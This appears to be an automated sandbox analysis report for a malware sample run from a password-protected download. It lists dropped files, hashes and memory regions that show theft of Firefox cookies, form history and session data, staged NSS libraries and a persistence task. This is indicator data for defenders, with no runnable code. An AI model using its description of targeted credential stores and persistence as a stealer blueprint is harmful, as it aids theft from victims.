SHA512 3ac74e807bddffc2965cb3878a51e5c7c3b5eab2dcf8bc1ffaa41a56e20460cd01ff6b9a00d78e1aa021f5b9c38ba4f4726d37bf42749da4fa208e3f8985c114

C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\flutter_desktop_sleep_plugin.dll

MD5 ae8bbd77a997d05c06e459f0f3faa5af
SHA1 843ae129debba252eaebce0459adccddc1315826
SHA256 9600697c57da5a1411a227eb5fc135f20d0ea292f458290d15fb959c1f75537e
SHA512 13067ed69244f94206e642b408143409b48fb976221dbbbbdd86f0b357a8b7b0cad334a6259751a718f2149e183d322bb8b03e26abff2cdcac2826a551e27d2f

C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe

MD5 c637e5ecf625b72f4bef9d28cd81d612
SHA1 a2c1329d290e508ee9fd0eb81e7f25d57e450f8c
SHA256 111c56593668be63e1e0c79a2d33d9e2d49cdf0c5100663c72045bc6b76e9fe6
SHA512 727d78bab4fab3674eec92ca5f07df6a0095ab3b973dd227c599c70e8493592bb53bb9208cc6270713283ef0065acfad3203ddcf4dcb6d43f8727f09ceaaf2e4

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\sessionstore.jsonlz4

MD5 b98f28b2f387c0ec4d825eb2a9fc7394
SHA1 204092a932bfefeb7d7c965565f95159ee2c7b80
SHA256 5051f9cd46d343c45be520911f42945b352e77cdabb18d27a11379add68a8451
SHA512 b1079bc58d6c31be4118c2e4f136276223b86540ab8fc685e5b167f6fd13e4302f262670f13b12faf92ea6e296f88f0b8ac981b413fab6765243c852cbff3e26

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\prefs-1.js

MD5 172c0098307f9547bfd96a330c023c8a
SHA1 1fb55f265b795115fec2343dd1227a1a717d1632
SHA256 e744fe793378c3e497affc2a9e82fd7986ec7958ddcb91a0baf3237a52482fa3
SHA512 358e4b29398f0c2adb997732600a3a93f848f96e9adb71afeff3720079f5d767070cfe3dbceec100d152d32d4a775228e8600e2902b96da5e8f0032890d0139c

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\storage\to-be-removed\{fb27eeba-2aae-41cb-a02f-461fb335ee42}\.metadata-v2

MD5 43aa93764c24ac754d6dff3e0f6d7c5f
SHA1 a0bc115f81834048d437d988b2a7eb0ac3ab93aa
SHA256 2d76b9eedb4f9cd42a4284b334d2e196afd9f9a99ce8aa63cf7e6245a7012c32
SHA512 c178c42856c7313e0a1280e1dc9f40d58f7c09e1316df9784375c2eb630767f5391ff163c59b57232faea3a35f2a85a1f209cb3d2e8891ec8fc9be60c6123b54

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\AlternateServices.txt

MD5 aefd0d3364e7c8014f05a4cd600d6a34
SHA1 e2e0f54300237759d2ba2727f8f2c0c45a2f5cb2
SHA256 f4ba6cbd10e689128298e55338389e030139fb2dc346e2c3fc60f006e44c4462
SHA512 de6407b13b02ed1ba70da6f83c384fb9c3d10e81d5cf2833f37b74626bb52e53aba388ca3305afbfd26dee48be0f65e62ca55791ffb5fc3406eec69adff89f72

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\places.sqlite

MD5 abcc259794b5a75417b227e7568c3931
SHA1 01a92f8838bd5f137af019acf4793c8533af1039
SHA256 2d4b03839a4f3d2ff1100130eebf0751a119d620406952ccc755f29056c7a804
SHA512 9bdfacbcfd91090c66bad14c44f25b0c2f8296367c23ba42fdbf41745f8edc67aeffb6799bb6718c7fe5f214bd953bf75dac2922ada1daada2c5d5bfa1d534ae

memory/4996-5476-0x00007FFC74730000-0x00007FFC748AA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\70de3bd9

MD5 de850f1b0abc7daee6ffbff41f780bee
SHA1 adab37fa568e74c657084a792edadaadf687f3a2
SHA256 cceee57bc76e1d7e90988ae0072967df21c8bfe18aee0d870a865c8711b7f6a7
SHA512 f0245207b14c04bfd66ef33b02c7c60bb7c46b7ffe4d02bdc8b2632578aec75fd6ea06321a08b73f47104de86070daf2565d7a5fe0f46ebef603721e6c4475dd

memory/3228-5479-0x00007FFC97C60000-0x00007FFC97E69000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\coml.au3

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/1900-5486-0x0000000000800000-0x0000000000F4C000-memory.dmp

memory/1900-5487-0x00007FFC97C60000-0x00007FFC97E69000-memory.dmp

memory/1900-5494-0x0000000000800000-0x0000000000F4C000-memory.dmp

memory/1900-5506-0x0000000000800000-0x0000000000F4C000-memory.dmp

memory/1900-5507-0x0000000061E00000-0x0000000061EF3000-memory.dmp

C:\ProgramData\DBKEGCAEGIIJ\nss3.dll

MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

C:\ProgramData\DBKEGCAEGIIJ\mozglue.dll

MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\cookies.sqlite

MD5 b685d9dc7eeef3dfa9290b3eedecb0f5
SHA1 85fd24a1f12a8bb31b27cb8927412dfcc22227aa
SHA256 a11cbadbad9019319fa7fb8f84c956efd775b60c1105753a015bb6be6a3b6350
SHA512 8e5a93e079d9104047d7f711f555a4841e5d66ae6e525e0c8885c4c6179e3fb30143098a3ad5ff90246af244e6c48d6bb0661bc7c3fb9150fc96a561a1815451

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xde90bbv.default-release\formhistory.sqlite

MD5 e3b353705a4bebcdf096abbbff193e58
SHA1 e68745197640ee799b3c5f9284f8fd9bcb2ea1fb
SHA256 4f70ec624f37705d69e04567ccbd06bec2e8ac2dcce1802d2cde67458ed31aea
SHA512 f5884531445949a46b30de0d440bf7d0093c3570302332b6fa4aed9b302621759c1eba0171c1e7da75c0a19402b8f1325092f3b6ddf92ea6b0a22996629f2bad

C:\ProgramData\HJJJECFIEC.exe

MD5 6cfddd5ce9ca4bb209bd5d8c2cd80025
SHA1 424da82e9edbb6b39a979ab97d84239a1d67c48b
SHA256 376e1802b979514ba0e9c73933a8c6a09dd3f1d2a289f420c2202e64503d08a7
SHA512 d861130d87bfedc38a97019cba17724067f397e6ffe7e1384175db48c0a177a2e7e256c3c933d0f42766e8077f767d6d4dc8758200852e8ec135736daee7c0f8

memory/1188-5592-0x0000000000430000-0x0000000000943000-memory.dmp

C:\ProgramData\CBFCFBFBFB.exe

MD5 daaff76b0baf0a1f9cec253560c5db20
SHA1 0311cf0eeb4beddd2c69c6e97462595313a41e78
SHA256 5706c6f5421a6a34fdcb67e9c9e71283c8fc1c33499904519cbdc6a21e6b071c
SHA512 987ca2d67903c65ee1075c4a5250c85840aea26647b1d95a3e73a26dcad053bd4c31df4ca01d6cc0c196fa7e8e84ab63ed4a537f72fc0b1ee4ba09cdb549ddf3

memory/4636-5603-0x0000000000740000-0x0000000000988000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\d19cdcc

MD5 c62f812e250409fbd3c78141984270f2
SHA1 9c7c70bb78aa0de4ccf0c2b5d87b37c8a40bd806
SHA256 d8617477c800cc10f9b52e90b885117a27266831fb5033647b6b6bd6025380a8
SHA512 7573ecac1725f395bbb1661f743d8ee6b029f357d3ef07d0d96ee4ff3548fe06fab105ee72be3e3964d2053de2f44245cca9a061d47c1411949840c84f6e9092

memory/4636-5609-0x0000000072A10000-0x0000000072B8D000-memory.dmp

memory/4636-5610-0x00007FFC97C60000-0x00007FFC97E69000-memory.dmp

memory/1900-5615-0x0000000000800000-0x0000000000F4C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10c1dbe1

MD5 8d443e7cb87cacf0f589ce55599e008f
SHA1 c7ff0475a3978271e0a8417ac4a826089c083772
SHA256 e2aaaa1a0431aab1616e2b612e9b68448107e6ce71333f9c0ec1763023b72b2a
SHA512 c7d0ced6eb9e203d481d1dbdd5965278620c10cdc81c02da9c4f7f99f3f8c61dfe975cf48d4b93ccde9857edb881a77ebe9cd13ae7ef029285d770d767aa74a5

memory/1188-5617-0x0000000072A10000-0x0000000072B8D000-memory.dmp

memory/1188-5618-0x00007FFC97C60000-0x00007FFC97E69000-memory.dmp

C:\ProgramData\DBKEGCAEGIIJ\AFIDGD

MD5 59071590099d21dd439896592338bf95
SHA1 6a521e1d2a632c26e53b83d2cc4b0edecfc1e68c
SHA256 07854d2fef297a06ba81685e660c332de36d5d18d546927d30daad6d7fda1541
SHA512 eedb6cadbceb2c991fc6f68dccb80463b3f660c5358acd7d705398ae2e3df2b4327f0f6c6746486848bd2992b379776483a98063ae96edb45877bb0314874668

memory/1900-5655-0x0000000000800000-0x0000000000F4C000-memory.dmp

C:\ProgramData\DBKEGCAEGIIJ\AKECBF

MD5 41ac544896c59f0f47c5422e8d8cbe3c
SHA1 4fac0744d1c5eb1fb9da3b9fac67f690639c1ebc
SHA256 a46a88cd9a2318aa069993b23acf27db06f528ca5bdbebee717e25b38a5dc45a
SHA512 83ab24023f5b16bc5d549a8d934cfe9f1a79bc87f3c579992e6cf885cb9f14e2facef8b83d1af7b141fb23285d1509779da17236a587436127a9ccacedcb9e35

C:\ProgramData\DBKEGCAEGIIJ\CGHDAK

MD5 c8260d37073d07384063820fcd97cb1c
SHA1 25324c500695d19e4a0a0824228576a59f9abe58
SHA256 29391ff5068cfd037ed486db2fd2bc780731ca952df39377240aa4456f176560
SHA512 ffbba119b938f8227907792b8a7853daf8c8279c9f3e0f4408ddb324b21a75d093e8790efe4a7e6876b171a2cffb71022cd7a8d2f4fd1ac5b813c5aec4d6bd4b

memory/1900-5671-0x0000000000800000-0x0000000000F4C000-memory.dmp

memory/4636-5672-0x0000000072A10000-0x0000000072B8D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\fbd376a

MD5 8506375c0191cdc51d1266658109beac
SHA1 1930d26b3b99fa09acb3d16aca25c875baa5f811
SHA256 d7eb593384df68318cbea7aa00ec60626c74008063550cd2fd5d7c16b06a34a5
SHA512 4732cba6df729ced5c1cd083cb0dbc3222d495ec61168f5a0d228d1e170bd247ed8725f87b6fa8027253cc0f254903402448a37004abb35f65cd635a2c3157ee

memory/1188-5675-0x0000000072A10000-0x0000000072B8D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\136c7359

MD5 2602344f21a8ba897923190a5ef9cabc
SHA1 fd3cee645634288d200e7b24f4223c845d226b48
SHA256 16b86fbd5072ee267c7f111a643e511c509df1025fe47a04affd6fbdeed58334
SHA512 fe1c7c96e7f9b6e4358b93866d7b30a884e153bc285385e362bec3a37c697c4e8d3f0078182692f4f67db92fd553826c5fa38ea1d9e2e9cc1e3ff145291f6395

memory/1076-5678-0x00007FFC97C60000-0x00007FFC97E69000-memory.dmp

memory/5896-5679-0x00007FFC97C60000-0x00007FFC97E69000-memory.dmp

C:\ProgramData\DBKEGCAEGIIJ\VCRUNT~1.DLL

MD5 a37ee36b536409056a86f50e67777dd7
SHA1 1cafa159292aa736fc595fc04e16325b27cd6750
SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
SHA512 3a7c260646315cf8c01f44b2ec60974017496bd0d80dd055c7e43b707cadba2d63aab5e0efd435670aa77886ed86368390d42c4017fc433c3c4b9d1c47d0f356

C:\ProgramData\DBKEGCAEGIIJ\softokn3.dll

MD5 4e52d739c324db8225bd9ab2695f262f
SHA1 71c3da43dc5a0d2a1941e874a6d015a071783889
SHA256 74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a
SHA512 2d4168a69082a9192b9248f7331bd806c260478ff817567df54f997d7c3c7d640776131355401e4bdb9744e246c36d658cb24b18de67d8f23f10066e5fe445f6

C:\ProgramData\DBKEGCAEGIIJ\msvcp140.dll

MD5 5ff1fca37c466d6723ec67be93b51442
SHA1 34cc4e158092083b13d67d6d2bc9e57b798a303b
SHA256 5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062
SHA512 4802ef62630c521d83a1d333969593fb00c9b38f82b4d07f70fbd21f495fea9b3f67676064573d2c71c42bc6f701992989742213501b16087bb6110e337c7546

memory/1076-5686-0x0000000072A10000-0x0000000072B8D000-memory.dmp

memory/5896-5695-0x0000000072A10000-0x0000000072B8D000-memory.dmp

memory/1064-5699-0x00007FFC74530000-0x00007FFC75BD0000-memory.dmp

memory/416-5702-0x00007FFC97C60000-0x00007FFC97E69000-memory.dmp

memory/1064-5703-0x0000000000400000-0x000000000040A000-memory.dmp

memory/416-5706-0x0000000000F90000-0x0000000001001000-memory.dmp

memory/3004-5708-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3004-5710-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3004-5711-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3004-5712-0x000001C7BD8A0000-0x000001C7BD8C0000-memory.dmp

memory/3004-5714-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3004-5716-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3004-5715-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3004-5713-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3004-5717-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/416-5719-0x0000000000F90000-0x0000000001001000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\4fe82aaf

MD5 9703dc534555cf24c9c4e125628974cc
SHA1 603512d112449683e83764aadb10ec72b0965c59
SHA256 7beb0dcb9973e237d1717e7915745fb1472abf03f1313862933677342b90eb61
SHA512 2917dd57742b5a2b48e1c2f28e76dad613cd29d171f7c7984488cc94a4424e095f8a1b858270599d893c9fadef78ab64892dae525f55e575b4bf5a2826e499f1

C:\Windows\Tasks\Watcher Com SH.job

MD5 17125bf7c05a4ae79245dbcd64bf8cbb
SHA1 cd7d96f272c21bd73d400fd6b469e1ade32fc816
SHA256 6c3fda66136b81dda4197198d00b28a4d2aa4e66d446124806dc1fe83750585f
SHA512 d8bb22e0cc7add6d6a9f06f62e44747465a04ff4b0a47b75101b0d99bbef9dcab625ae790a54b81046fbf9ae3843a6ae1cae3efdbe73185ccd5d2b419b84b254

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MSBuild.exe.log

MD5 5dd6ecdc4507cc0f897cded9ebeb94b4
SHA1 afd42365a5a8fa71f506a3d34960f8ed459cfd86
SHA256 8b410de677f095f88c42c69c716a9383b94ceb86ca90666188fcd4f4df7fc9fa
SHA512 078e5c9b8062420ef2c3a3a816961e957b0daa7f7a2ecd92689d0399febda98a0c727d1cd9b286adce1c132b9efbd383179867cc494831d4679d9e3805d51a06

C:\Users\Admin\AppData\Local\Temp\4c12fa11

MD5 5dfabfb0dfa9c8a74cd57d0652fee79f
SHA1 7d5edde88e928be0329b709d58afc97ab386cb04
SHA256 c0dc9bc7c5dc7c482aa3adf71eceac262352a6e791d17ef551466f6d53fcfa2e
SHA512 0fba60afb9812313a1e0996d462aa25960080ebb1e07d3f298515952cd85b544d8a56ceb6434d9aad4e369b792f53f55aa1f4c7e43940bdcdbb133f9c3b483da